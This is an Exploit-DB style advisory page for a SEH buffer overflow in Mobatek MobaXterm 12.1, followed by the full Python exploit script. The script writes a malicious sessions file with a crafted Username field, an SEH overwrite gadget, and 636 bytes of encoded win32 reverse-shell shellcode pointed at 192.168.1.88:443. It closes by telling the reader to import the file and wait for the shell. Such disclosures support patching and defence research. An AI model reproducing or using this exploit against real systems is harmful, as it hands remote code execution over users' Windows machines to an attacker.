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MobaXterm
by:
Xavi Beltran
7.5
CVSS
HIGH
Buffer Overflow (SEH)
119
CWE
Product Name: MobaXterm
Affected Version From: 12.1
Affected Version To: 12.1
Patch Exists: NO
Related CWE:
CPE: a:mobatek:mobaxterm:12.1
Metasploit:
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Platforms Tested: Windows
2019

Mobatek MobaXterm 12.1 – Buffer Overflow (SEH)

SEH based Buffer Overflow in the Username field of a valid session. This exploit generates a malicious MobaXterm sessions file. When the user double clicks in the session, the shellcode is going to be executed. You need to adapt the exploit to your current OS Windows version.

Mitigation:

Apply the latest patch from the vendor.
Source

Exploit-DB raw data:

# Title: Mobatek MobaXterm 12.1 - Buffer Overflow (SEH)
# Author: Xavi Beltran
# Date: 2019-08-31
# Vendor: xavibel.com
# Vedor Page: https://mobaxterm.mobatek.net/download.html
# Software Link: https://download.mobatek.net/1112019010310554/MobaXterm_Portable_v11.1.zip
# Exploit Development process: https://xavibel.com/2019/09/01/mobaxterm-buffer-overflow-malicious-sessions-file-import/

# Description:
# SEH based Buffer Overflow in the Username field of a valid session
# This exploit generates a malicious MobaXterm sessions file
# When the user double clicks in the session, the shellcode is going to be executed
# You need to adapt the exploit to your current OS Windows version

#!/usr/bin/env python

# This is not the IP address of the reverse shell
# To be able to exploit the BOF you need to have a real machine with an open port that the target machine can reach

ip_address = "192.168.1.88"
port = "22"

# We are going to recreate a MobaXterm sessions file export
print ("[+] Creating the malicious MobaXterm file...")
sessions_file  = ""
sessions_file += "[Bookmarks]\n"
sessions_file += "SubRep=\n"
sessions_file += "ImgNum=42\n"
sessions_file += "pwnd=#109#0%" + ip_address + "%" + port + "%"

# Here is the SEH Based Buffer Overflow part

# [*] Exact match at offset 16672
# We have to substract 4 that corresponds to NSEH
junk1 = "A" * 16668

# Here we need to jump forward but EB is a bad char
# We decrease ESP and use a conditional jump after
# I have learned this trick in OSCE. Thank you Muts 
nseh = ""
nseh += "\x4C"     # DEC ESP
nseh += "\x4C"     # DEC ESP
nseh += "\x77\x21" # JA SHORT 1035FE59

# Using a XP-SP1 so modules are compiled without SafeSEH
# !mona seh -cp asciiprint
# 0x762C5042 POP-POP-RET crypt32.dll
seh  = "\x42\x50\x2C\x76"

# Some padding that we are going to jump over it
junk2 = "\x42" * 29

# We recover the initial state of the stack
alignment = ""
alignment += "\x44" # INC ESP
alignment += "\x44" # INC ESP


# And we reach our shellcode
# A0 is a badchar but the generated encoded shellcode won't use it
# /usr/share/framework2/msfpayload win32_reverse LHOST=192.168.1.88 LPORT=443 R > reverse_tcp
# /usr/share/framework2/msfencode -e Alpha2 -i reverse_tcp -t perl > encoded_rev_shell
# Shellcode 636 bytes
shellcode = ""
shellcode += "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x48\x49\x49"
shellcode += "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x63"
shellcode += "\x58\x30\x42\x31\x50\x42\x41\x6b\x41\x41\x73\x41\x32\x41\x41\x32"
shellcode += "\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x4b\x59\x6b\x4c\x71"
shellcode += "\x7a\x5a\x4b\x30\x4d\x79\x78\x4c\x39\x4b\x4f\x79\x6f\x6b\x4f\x33"
shellcode += "\x50\x6c\x4b\x62\x4c\x56\x44\x77\x54\x6e\x6b\x50\x45\x55\x6c\x6e"
shellcode += "\x6b\x51\x6c\x55\x55\x54\x38\x57\x71\x5a\x4f\x4e\x6b\x52\x6f\x37"
shellcode += "\x68\x6e\x6b\x53\x6f\x51\x30\x36\x61\x38\x6b\x70\x49\x4e\x6b\x70"
shellcode += "\x34\x6e\x6b\x65\x51\x58\x6e\x47\x41\x6f\x30\x6c\x59\x4e\x4c\x4e"
shellcode += "\x64\x6f\x30\x53\x44\x36\x67\x5a\x61\x39\x5a\x64\x4d\x53\x31\x49"
shellcode += "\x52\x4a\x4b\x6b\x44\x67\x4b\x33\x64\x66\x44\x34\x68\x41\x65\x6b"
shellcode += "\x55\x4e\x6b\x73\x6f\x54\x64\x65\x51\x58\x6b\x73\x56\x6e\x6b\x54"
shellcode += "\x4c\x70\x4b\x6e\x6b\x31\x4f\x77\x6c\x33\x31\x48\x6b\x47\x73\x46"
shellcode += "\x4c\x6c\x4b\x6e\x69\x70\x6c\x55\x74\x37\x6c\x73\x51\x6f\x33\x35"
shellcode += "\x61\x4b\x6b\x62\x44\x4e\x6b\x57\x33\x36\x50\x6e\x6b\x41\x50\x76"
shellcode += "\x6c\x6c\x4b\x34\x30\x67\x6c\x4c\x6d\x4c\x4b\x33\x70\x43\x38\x61"
shellcode += "\x4e\x32\x48\x6c\x4e\x62\x6e\x34\x4e\x4a\x4c\x56\x30\x79\x6f\x58"
shellcode += "\x56\x62\x46\x51\x43\x52\x46\x70\x68\x44\x73\x45\x62\x75\x38\x42"
shellcode += "\x57\x32\x53\x75\x62\x31\x4f\x50\x54\x4b\x4f\x78\x50\x72\x48\x68"
shellcode += "\x4b\x5a\x4d\x6b\x4c\x45\x6b\x70\x50\x39\x6f\x6b\x66\x43\x6f\x6e"
shellcode += "\x69\x48\x65\x41\x76\x4f\x71\x48\x6d\x76\x68\x45\x52\x53\x65\x50"
shellcode += "\x6a\x33\x32\x4b\x4f\x6e\x30\x31\x78\x4b\x69\x73\x39\x6c\x35\x6e"
shellcode += "\x4d\x43\x67\x6b\x4f\x6e\x36\x50\x53\x41\x43\x46\x33\x51\x43\x30"
shellcode += "\x43\x36\x33\x57\x33\x42\x73\x49\x6f\x7a\x70\x70\x68\x49\x50\x6d"
shellcode += "\x78\x46\x61\x33\x68\x35\x36\x73\x58\x43\x31\x6d\x6b\x62\x46\x56"
shellcode += "\x33\x4e\x69\x69\x71\x5a\x35\x51\x78\x7a\x4c\x4c\x39\x4e\x4a\x31"
shellcode += "\x70\x36\x37\x49\x6f\x59\x46\x50\x6a\x52\x30\x70\x51\x31\x45\x6b"
shellcode += "\x4f\x5a\x70\x71\x76\x72\x4a\x62\x44\x53\x56\x73\x58\x42\x43\x50"
shellcode += "\x6d\x41\x7a\x32\x70\x42\x79\x51\x39\x38\x4c\x4c\x49\x69\x77\x71"
shellcode += "\x7a\x41\x54\x4c\x49\x6a\x42\x70\x31\x4b\x70\x4b\x43\x6f\x5a\x4d"
shellcode += "\x45\x4e\x69\x69\x6d\x39\x6e\x30\x42\x46\x4d\x59\x6e\x53\x72\x74"
shellcode += "\x6c\x4c\x4d\x73\x4a\x70\x38\x4e\x4b\x4c\x6b\x4e\x4b\x31\x78\x71"
shellcode += "\x62\x6b\x4e\x4e\x53\x76\x76\x79\x6f\x62\x55\x76\x48\x59\x6f\x4e"
shellcode += "\x36\x53\x6b\x70\x57\x71\x42\x53\x61\x66\x31\x32\x71\x72\x4a\x34"
shellcode += "\x41\x56\x31\x73\x61\x70\x55\x53\x61\x59\x6f\x7a\x70\x32\x48\x6c"
shellcode += "\x6d\x38\x59\x73\x35\x58\x4e\x41\x43\x49\x6f\x6a\x76\x43\x5a\x69"
shellcode += "\x6f\x6b\x4f\x30\x37\x59\x6f\x5a\x70\x73\x58\x6b\x57\x42\x59\x78"
shellcode += "\x46\x70\x79\x49\x6f\x73\x45\x64\x44\x59\x6f\x7a\x76\x69\x6f\x43"
shellcode += "\x47\x39\x6c\x39\x6f\x6e\x30\x45\x38\x6a\x50\x4f\x7a\x46\x64\x61"
shellcode += "\x4f\x72\x73\x6b\x4f\x58\x56\x39\x6f\x78\x50\x63"

crash = junk1 + nseh + seh + junk2 + alignment + shellcode

# We need to mantain the MobaXterm sessions file structure
sessions_file += crash
sessions_file += "%%-1%-1%%%22%%0%0%0%%%-1%0%0%0%%1080%%0%0%1#MobaFont%10%0%0%0%15%236,236,236%30,30,30%180,180,192%0%-1%0%%xterm%-1%-1%_Std_Colors_0_%80%24%0%1%-1%<none>%%0#0# #-1"

# We generate the file
f = open( 'pwnd.mxtsessions', 'w' )
f.write(sessions_file)
f.close()

print ("[+] pwnd.mxtsessions file created!")
print ("[+] Import the sessions in MobaXterm and wait for the reverse shell! :)")